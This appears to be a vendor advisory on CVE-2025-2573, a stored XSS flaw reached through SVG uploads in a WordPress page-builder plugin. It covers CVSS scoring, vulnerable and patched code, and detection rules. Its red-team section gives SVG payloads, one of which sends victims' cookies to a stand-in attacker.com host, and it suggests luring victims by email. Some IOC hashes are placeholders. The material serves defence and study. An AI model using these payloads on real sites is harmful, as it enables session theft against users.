CVE-2025-2573
Executive Summary
CVE-2025-2573 is a Stored Cross-Site Scripting (XSS) vulnerability in the Amazing service box Addons For WPBakery Page Builder WordPress plugin, affecting all versions up to and including 2.0.0. The flaw arises from insufficient input sanitization and output escaping during SVG file uploads, allowing authenticated attackers with Author-level access or higher to inject arbitrary web scripts. When a user accesses the malicious SVG file, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the WordPress plugin repository or third-party marketplaces. Users should verify the integrity of plugin files and monitor for updates from the vendor. No official patch has been released as of the advisory date.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Author-level)
- User Interaction: Required (victim must access the SVG file)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is Medium due to the requirement for authenticated access and user interaction, but the potential for stored XSS in a widely-used page builder plugin increases the risk.
Deep Dive & Mechanics
The vulnerability resides in the SVG file upload functionality of the plugin. WordPress allows SVG uploads by default only for administrators, but this plugin extends the capability to lower-privileged users (Author-level and above) without proper validation. The plugin fails to sanitize SVG files for embedded JavaScript or event handlers (e.g., onload, onclick). When an attacker uploads a crafted SVG containing malicious scripts, the file is stored on the server. Any user (including administrators or visitors) who accesses the SVG URL triggers the script execution in their browser.
Key technical details:
- Attack Vector: Authenticated attacker uploads a malicious SVG via the WordPress media uploader or plugin-specific interface.
- Trigger: Victim navigates to the SVG file URL (e.g.,
https://example.com/wp-content/uploads/2025/03/evil.svg). - Impact: The injected script can steal cookies, perform actions on behalf of the victim, or redirect to phishing sites.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 2.0.0):
The plugin likely uses wp_handle_upload() or a custom upload handler without checking the file content for XSS vectors. Example of insufficient sanitization:
// Vulnerable: No SVG sanitization
function handle_svg_upload($file) {
$upload = wp_handle_upload($file, array('test_form' => false));
return $upload['url'];
}
Patched Code (hypothetical):
A secure implementation would use a library like enshrined/svg-sanitizer to strip dangerous elements:
// Patched: Sanitize SVG content
require_once 'vendor/autoload.php';
use enshrined\svgSanitize\Sanitizer;
function handle_svg_upload($file) {
$sanitizer = new Sanitizer();
$dirtySVG = file_get_contents($file['tmp_name']);
$cleanSVG = $sanitizer->sanitize($dirtySVG);
file_put_contents($file['tmp_name'], $cleanSVG);
$upload = wp_handle_upload($file, array('test_form' => false));
return $upload['url'];
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with the vulnerable plugin installed.
- Author-level account credentials.
Steps:
- Create a malicious SVG file (e.g.,
evil.svg):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert('XSS');
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
- Log in as an Author and upload the SVG via the media library.
- Obtain the SVG URL (e.g.,
https://target.com/wp-content/uploads/2025/03/evil.svg). - Send the link to a victim (e.g., via email or social engineering).
- When the victim accesses the URL, the script executes.
Advanced payload (cookie theft):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
document.location='https://attacker.com/steal.php?cookie='+document.cookie;
</script>
</svg>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for SVG uploads by non-admin users.
- Inspect SVG files for
<script>tags or event handlers. - Use a Web Application Firewall (WAF) to block malicious SVG content.
Prevention:
- Disable SVG uploads for non-admin users.
- Implement server-side SVG sanitization (e.g., using
svg-sanitizerlibrary). - Restrict file upload MIME types to only necessary formats.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example benign SVG)a1b2c3d4e5f6...(malicious SVG with embedded script)
- URL Patterns:
/wp-content/uploads/*.svg
- Network Traffic:
- Outbound requests to attacker-controlled domains from SVG files.
- Log Entries:
- WordPress debug log entries showing SVG uploads by Author-level users.
Detection Engineering
YARA Rule
rule CVE_2025_2573_SVG_XSS {
meta:
description = "Detects malicious SVG files with embedded scripts for CVE-2025-2573"
author = "Valters IT"
date = "2025-03-20"
reference = "CVE-2025-2573"
strings:
$svg_tag = "<svg"
$script_tag = "<script"
$onload = "onload="
$onclick = "onclick="
condition:
$svg_tag and ($script_tag or $onload or $onclick)
}
Sigma Rule
title: CVE-2025-2573 - Stored XSS via SVG Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SVG file uploads with potential XSS payloads in WordPress
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: "/wp-admin/async-upload.php"
http.body|contains: ".svg"
condition: selection
falsepositives:
- Legitimate SVG uploads by administrators
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-2573 - SVG Upload with XSS Payload"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:".svg"; http_client_body; pcre:"/<script|<svg.*onload|<svg.*onclick/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads for all non-admin users via WordPress role settings.
- Remove the vulnerable plugin until a patch is available.
- Scan existing uploads for malicious SVG files using the YARA rule above.
Long-term Fix:
- Apply a patch from the vendor (if released) or implement custom sanitization.
- Use a security plugin that restricts file uploads and sanitizes SVG content.
Workaround:
- Add the following to
.htaccessto block direct SVG execution:
<FilesMatch "\.svg$">
Header set Content-Disposition "attachment"
</FilesMatch>
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.